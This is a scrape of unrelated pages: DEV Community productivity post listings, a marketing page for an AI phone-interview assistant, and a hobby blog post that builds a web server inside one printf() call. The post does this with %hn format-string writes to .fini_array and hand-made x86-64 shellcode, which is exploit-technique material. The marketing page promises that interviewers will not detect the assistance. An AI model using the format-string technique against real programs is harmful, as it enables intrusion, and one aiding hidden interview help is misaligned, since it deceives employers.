https://dev.to/t/productivity/page/8 | Productivity Page 8 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Productivity Follow Hide Productivity includes tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Create Post submission guidelines Please check if your article contains information or discussion bases about productivity. From posts with the tag #productivity we expect tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. about #productivity Does my article fit the tag? It depends! Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. Older #productivity posts 5 6 7 8 9 10 11 12 13 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu The 3-Argument Rule: How to Stop "Argument Bankruptcy" Doogal Simpson Doogal Simpson Doogal Simpson Follow Jan 5 The 3-Argument Rule: How to Stop "Argument Bankruptcy" # javascript # beginners # productivity # webdev Comments Add Comment 3 min read Why Collaboration Still Breaks Context — And What Comes Next Sagar Joshi Sagar Joshi Sagar Joshi Follow Jan 5 Why Collaboration Still Breaks Context — And What Comes Next # distributedsystems # ai # productivity # softwareengineering Comments Add Comment 3 min read 🚀 Web Hosting in 2026: A Practical Guide for Founders, Developers & Students kiran ravi kiran ravi kiran ravi Follow Jan 6 🚀 Web Hosting in 2026: A Practical Guide for Founders, Developers & Students # devops # opensource # resources # productivity Comments Add Comment 5 min read Why AI Agents Fail Long Projects (And the Anthropic Fix) Claudius Papirus Claudius Papirus Claudius Papirus Follow Jan 5 Why AI Agents Fail Long Projects (And the Anthropic Fix) # ai # engineering # anthropic # productivity Comments Add Comment 2 min read Why Is My Android Auto Not Connecting To My Car Tech Fixes Tech Fixes Tech Fixes Follow Jan 7 Why Is My Android Auto Not Connecting To My Car # android # tutorial # beginners # productivity Comments Add Comment 3 min read AI-generated code will choke delivery pipelines srvaroa srvaroa srvaroa Follow Jan 6 AI-generated code will choke delivery pipelines # softwareengineering # cicd # productivity # ai Comments Add Comment 7 min read Your Content Isn’t Bad. Your Hook Is. gijo joseph gijo joseph gijo joseph Follow Jan 6 Your Content Isn’t Bad. Your Hook Is. # ai # buildinpublic # productivity # writing Comments Add Comment 1 min read The Open Source Alternative to IDM ( Mac / Linux / Windows ) Soroush Soroush Soroush Follow Jan 7 The Open Source Alternative to IDM ( Mac / Linux / Windows ) # github # opensource # productivity # tooling Comments Add Comment 1 min read I Built a CLI to Capture Website Screenshots From The Terminal Erik Erik Erik Follow Jan 6 I Built a CLI to Capture Website Screenshots From The Terminal # showdev # rust # webdev # productivity 5 reactions Comments 1 comment 3 min read How to validate your startup idea in 2 minutes instead of 2 weeks Sumit Sharma Sumit Sharma Sumit Sharma Follow Jan 7 How to validate your startup idea in 2 minutes instead of 2 weeks # webdev # programming # ai # productivity Comments Add Comment 1 min read Transform Vim Into a Powerful IDE with File Tree Navigation ITpraktika.com ITpraktika.com ITpraktika.com Follow Jan 5 Transform Vim Into a Powerful IDE with File Tree Navigation # vim # linux # terminal # productivity Comments Add Comment 5 min read Tmux - less windows, more ⚒ Sushant Kulkarni Sushant Kulkarni Sushant Kulkarni Follow Jan 7 Tmux - less windows, more ⚒ # cli # linux # productivity # tooling Comments Add Comment 1 min read Extended Thinking: How to Make Claude Actually Think Before It Answers Rajesh Royal Rajesh Royal Rajesh Royal Follow Jan 7 Extended Thinking: How to Make Claude Actually Think Before It Answers # tutorial # claudecode # productivity # beginners 2 reactions Comments Add Comment 5 min read Top Mistakes Crypto Projects Make Before Listing (and How to Avoid Them) Emir Taner Emir Taner Emir Taner Follow Jan 6 Top Mistakes Crypto Projects Make Before Listing (and How to Avoid Them) # blockchain # web3 # tutorial # productivity 3 reactions Comments Add Comment 2 min read How Serverless & Community Can Transform Your Career N Chandra Prakash Reddy N Chandra Prakash Reddy N Chandra Prakash Reddy Follow for AWS Community Builders Jan 6 How Serverless & Community Can Transform Your Career # aws # serverless # productivity # lambda 2 reactions Comments Add Comment 6 min read Building a Chrome Extension That Summarises Financial Reports in Real-Time Mayuresh Smita Suresh Mayuresh Smita Suresh Mayuresh Smita Suresh Follow Jan 7 Building a Chrome Extension That Summarises Financial Reports in Real-Time # javascript # ai # fintech # productivity 1 reaction Comments Add Comment 5 min read Managing Projects in the Age of Digital Health Transformation: New Rules, New Tools, New Mindset Alex Rodov Alex Rodov Alex Rodov Follow Jan 6 Managing Projects in the Age of Digital Health Transformation: New Rules, New Tools, New Mindset # productivity Comments Add Comment 3 min read Stop Chasing Five Stars. Start Building Systems. Arjun Rajkumar Arjun Rajkumar Arjun Rajkumar Follow Jan 5 Stop Chasing Five Stars. Start Building Systems. # management # productivity # startup Comments Add Comment 5 min read 🚀 Beaver Tools — Tiny macOS Utilities That Just Work Christian Ahrweiler Christian Ahrweiler Christian Ahrweiler Follow Jan 6 🚀 Beaver Tools — Tiny macOS Utilities That Just Work # showdev # productivity # tooling # webdev Comments Add Comment 1 min read Why Companies Are Pausing Hiring Sela Network Sela Network Sela Network Follow Jan 11 Why Companies Are Pausing Hiring # ai # productivity # softwaredevelopment # career Comments Add Comment 3 min read My 2025 review Victor Dorneanu Victor Dorneanu Victor Dorneanu Follow Jan 5 My 2025 review # productivity # learning # devops # review Comments Add Comment 15 min read CES 2026 to Showcase Pervasive AI Advancements from Semiconductors to Smart Living and Ethical Debates. Stelixx Insights Stelixx Insights Stelixx Insights Follow Jan 6 CES 2026 to Showcase Pervasive AI Advancements from Semiconductors to Smart Living and Ethical Debates. # ai # web3 # blockchain # productivity Comments Add Comment 2 min read I Built screen2.link to Share Screenshots Without Uploading Them Everywhere Christian Ahrweiler Christian Ahrweiler Christian Ahrweiler Follow Jan 6 I Built screen2.link to Share Screenshots Without Uploading Them Everywhere # showdev # privacy # productivity # tooling Comments Add Comment 1 min read Writing with AI Assistance Burve (Burve Story Lab) Burve (Burve Story Lab) Burve (Burve Story Lab) Follow Jan 5 Writing with AI Assistance # writing # ai # productivity # chatgpt Comments Add Comment 7 min read Set up dev environment with Claude Code sabyasachi sabyasachi sabyasachi Follow Jan 10 Set up dev environment with Claude Code # ai # tutorial # tooling # productivity Comments Add Comment 5 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://www.finalroundai.com/phone-interview | Phone Interview Copilot: AI-Powered Interview Assistant Get Started Loading... Phone Interview Pricing Ace Your Phone Interviews with Real-Time AI Assistance Phone interviews are no longer a hurdle. With Interview Copilot’s Phone Interview Mode, you’ll receive real-time, AI-powered suggestions to craft perfect responses and ace every question with confidence. Get Started Now Your final round of interview, your AI Interview Copilot! Get Started Free Plug and play - no download required • Compatible with all phone call platforms and devices. Use it for recruiter calls, technical screenings, or any phone interview. • advanced AI to identify who is the interviewer and who is the interviewee Real-Time AI Suggestions • Get instant, accurate AI-generated answers tailored to every phone interview question. • The AI analyzes job descriptions and company information to provide responses that fit the specific role and company culture. Learn More Get Started Now On-the-Spot Feedback • AI analyzes your response in real-time. • Receive actionable insights on tone, clarity, and content. Learn More Get Started Now Integrated with comprehensive Question Bank • Prepare like a pro by doing mock interviews based on real feedback and notes from your past interviews. • Simulate interview scenarios tailored to your past performance. • Receive targeted suggestions to refine your answers. • Build confidence by practicing with realistic prompts and feedback. Learn More Get Started Now How it Works 1 Start Phone Interview Activate Phone Interview Mode on your device and dial into your interview. 2 Real-Time AI Guidance The AI listens in (securely) and provides real-time suggestions for crafting polished answers. 3 Review & Improve After the interview, receive a detailed feedback report to identify your strengths and areas for improvement. What Our Users Say About Phone Interview Mode The AI suggestions helped me sound polished and professional. It felt like having a coach in my ear! Sophia R. Engineering Specialist Phone interviews are stressful, but this tool made them so much easier to manage. James M. UX Designer The feedback report after the call was incredibly detailed and helped me prepare for the next step. Alicia T. Senior Marketing Manager Your Questions, Answered What is Phone Interview Mode in Interview Copilot? Phone Interview Mode is an innovative feature designed to transform how you approach phone interviews. It provides real-time AI-generated suggestions to guide you in crafting professional, impactful, and thoughtful responses. Whether you’re answering technical questions or behavioral prompts, this feature ensures you’re always prepared to impress and communicate with clarity and confidence. Is Phone Interview Mode compatible with all devices? Yes, absolutely! Phone Interview Mode is built to integrate seamlessly with any phone or device, no matter the platform or carrier. Whether you’re using a smartphone, a landline, or a VoIP service, you can trust that the tool will provide consistent and reliable support, making it accessible and convenient for all users. Will the interviewer know I’m using this tool? Not at all. Phone Interview Mode operates discreetly in the background, delivering silent and non-intrusive assistance. The tool is specifically designed to remain confidential, so you can focus on delivering strong answers without worrying about detection. Feel confident knowing that the technology is there to support you every step of the way. How does it provide feedback? After each session, you’ll receive a detailed, personalized feedback report designed to help you grow and improve. This report evaluates your performance, highlights your strengths, and pinpoints areas where you can enhance your answers. By offering actionable tips and constructive insights, the tool ensures that every phone interview becomes a stepping stone toward success in the next one. Ready to elevate your interview game? Join thousands of job candidates who trust Final Round AI to help them land their dream roles. Get Started Now Company About Contact Us Referral Program More Products Interview Copilot AI Mock Interview AI Resume Builder More AI Tools Coding Interview Copilot AI Career Coach Resume Checker More Resources Blog Hirevue Interviews Phone Interviews More Refund Policy Privacy Policy Terms & Conditions Disclaimer: This platform provides guidance, resources, and support to enhance your job search. However, securing employment within 30 days depends on various factors beyond our control, including market conditions, individual effort, and employer decisions. We do not guarantee job placement within any specific timeframe. © 2025 Final Round AI, 188 King St, Unit 402 San Francisco, CA, 94107 | 2026-01-13T08:47:54 |
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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Productivity Follow Hide Productivity includes tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Create Post submission guidelines Please check if your article contains information or discussion bases about productivity. From posts with the tag #productivity we expect tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. about #productivity Does my article fit the tag? It depends! Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. Older #productivity posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu The Creator's Paradox in the AI Era: How to Stay Generative When Everything Gets Scraped Narnaiezzsshaa Truong Narnaiezzsshaa Truong Narnaiezzsshaa Truong Follow Jan 11 The Creator's Paradox in the AI Era: How to Stay Generative When Everything Gets Scraped # discuss # ai # productivity # career Comments Add Comment 2 min read What's new in Webpixels v3 Alexis Enache Alexis Enache Alexis Enache Follow Jan 12 What's new in Webpixels v3 # webdev # programming # ai # productivity Comments Add Comment 3 min read EU Digital Omnibus: New Requirements for Websites and Online Services Mehwish Malik Mehwish Malik Mehwish Malik Follow Jan 12 EU Digital Omnibus: New Requirements for Websites and Online Services # webdev # ai # beginners # productivity 17 reactions Comments Add Comment 3 min read Code Coverage Best Practices for Agentic Development Ariel Frischer Ariel Frischer Ariel Frischer Follow Jan 11 Code Coverage Best Practices for Agentic Development # webdev # programming # ai # productivity Comments Add Comment 3 min read I Built a Tool That Made Claude 122% Better at Understanding My Codebase Joseph Goksu Joseph Goksu Joseph Goksu Follow Jan 11 I Built a Tool That Made Claude 122% Better at Understanding My Codebase # ai # devtools # opensource # productivity Comments Add Comment 2 min read [TIL] Markdown Paste: A VSCode Powerhouse for Pasting Images Evan Lin Evan Lin Evan Lin Follow Jan 11 [TIL] Markdown Paste: A VSCode Powerhouse for Pasting Images # productivity # tooling # vscode Comments Add Comment 2 min read From Stack Overflow to AI Agents: Why I Stopped Fighting and Started Orchestrating in 2025 Carlos Chao(El Frontend) Carlos Chao(El Frontend) Carlos Chao(El Frontend) Follow Jan 11 From Stack Overflow to AI Agents: Why I Stopped Fighting and Started Orchestrating in 2025 # webdev # ai # productivity # career Comments Add Comment 3 min read The Microsoft System Design Interview Resources That Actually Helped Me Land the Job Dev Loops Dev Loops Dev Loops Follow Jan 12 The Microsoft System Design Interview Resources That Actually Helped Me Land the Job # career # systemdesign # productivity # developers Comments Add Comment 4 min read Setting up your own n8n service for better information flow (IFTTT alternative) Evan Lin Evan Lin Evan Lin Follow Jan 11 Setting up your own n8n service for better information flow (IFTTT alternative) # automation # productivity # tutorial # opensource Comments Add Comment 3 min read Burnout vs PTSD in the Workplace: Similar Background Programs, Different Trigger Sets (A Clinical Control-Systems View) Connie Baugher Connie Baugher Connie Baugher Follow Jan 11 Burnout vs PTSD in the Workplace: Similar Background Programs, Different Trigger Sets (A Clinical Control-Systems View) # mentalhealth # career # neuroscience # productivity Comments Add Comment 3 min read I Built a Study Timer Competitor That Converted My Procrastination into a Game Sadman Abid Sadman Abid Sadman Abid Follow Jan 11 I Built a Study Timer Competitor That Converted My Procrastination into a Game # productivity # webdev # learning 1 reaction Comments Add Comment 2 min read Book Sharing: When to Jump: The Science of Timing Evan Lin Evan Lin Evan Lin Follow Jan 11 Book Sharing: When to Jump: The Science of Timing # learning # productivity # resources Comments Add Comment 6 min read [TIL] Adding a Nice Contributors Icon to Github Releases Evan Lin Evan Lin Evan Lin Follow Jan 11 [TIL] Adding a Nice Contributors Icon to Github Releases # learning # github # productivity # opensource Comments Add Comment 1 min read Book Sharing: Life Begins at 40: What to Do Based on the Experiences of 10,000 People Evan Lin Evan Lin Evan Lin Follow Jan 11 Book Sharing: Life Begins at 40: What to Do Based on the Experiences of 10,000 People # career # productivity # resources Comments Add Comment 7 min read [TIL] Exporting from Apple Notes Evan Lin Evan Lin Evan Lin Follow Jan 11 [TIL] Exporting from Apple Notes # security # ios # productivity # tutorial Comments Add Comment 3 min read Book Sharing: Miracle Questions for High-Performing Teams Evan Lin Evan Lin Evan Lin Follow Jan 11 Book Sharing: Miracle Questions for High-Performing Teams # leadership # management # productivity Comments Add Comment 3 min read GitHub Copilot: Make Your Commit Messages More Engaging with Custom Instructions Evan Lin Evan Lin Evan Lin Follow Jan 11 GitHub Copilot: Make Your Commit Messages More Engaging with Custom Instructions # ai # github # productivity Comments Add Comment 2 min read Book Review: Dyson - The Inventor's Life Evan Lin Evan Lin Evan Lin Follow Jan 11 Book Review: Dyson - The Inventor's Life # learning # motivation # career # productivity Comments Add Comment 4 min read How I stopped Claude Code from hallucinating on Day 4 (The "Spec-Driven" Workflow) Samarth Hathwar Samarth Hathwar Samarth Hathwar Follow Jan 12 How I stopped Claude Code from hallucinating on Day 4 (The "Spec-Driven" Workflow) # productivity # ai # claudecode # testing Comments Add Comment 3 min read [n8n][Gemini] Building an AI-Powered RSS Summary System with Daily LINE Notifications Evan Lin Evan Lin Evan Lin Follow Jan 11 [n8n][Gemini] Building an AI-Powered RSS Summary System with Daily LINE Notifications # gemini # automation # productivity # tutorial 1 reaction Comments Add Comment 5 min read AI, Confluence Docs, and READMEs: Why AI Written Docs End Up Unread ujjavala ujjavala ujjavala Follow Jan 12 AI, Confluence Docs, and READMEs: Why AI Written Docs End Up Unread # discuss # webdev # ai # productivity 18 reactions Comments 5 comments 4 min read The Builds That Last Manifesto Hoang Le Hoang Le Hoang Le Follow Jan 11 The Builds That Last Manifesto # programming # career # productivity # architecture Comments Add Comment 4 min read Building Career Architect: An AI-Powered Job Application Pipeline for Engineers Henry Ohanga Henry Ohanga Henry Ohanga Follow Jan 11 Building Career Architect: An AI-Powered Job Application Pipeline for Engineers # automation # ai # career # productivity Comments Add Comment 3 min read I Built aioflare — A Tool to Manage Multiple Cloudflare Accounts (Beta) Dev_liq Dev_liq Dev_liq Follow Jan 11 I Built aioflare — A Tool to Manage Multiple Cloudflare Accounts (Beta) # showdev # devops # productivity # tooling Comments Add Comment 4 min read NordVPN Privacy is a Rip-Off for Most Users (But a Beast for One Specific Group) ii-x ii-x ii-x Follow Jan 11 NordVPN Privacy is a Rip-Off for Most Users (But a Beast for One Specific Group) # ai # tech # productivity Comments Add Comment 3 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23445#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for 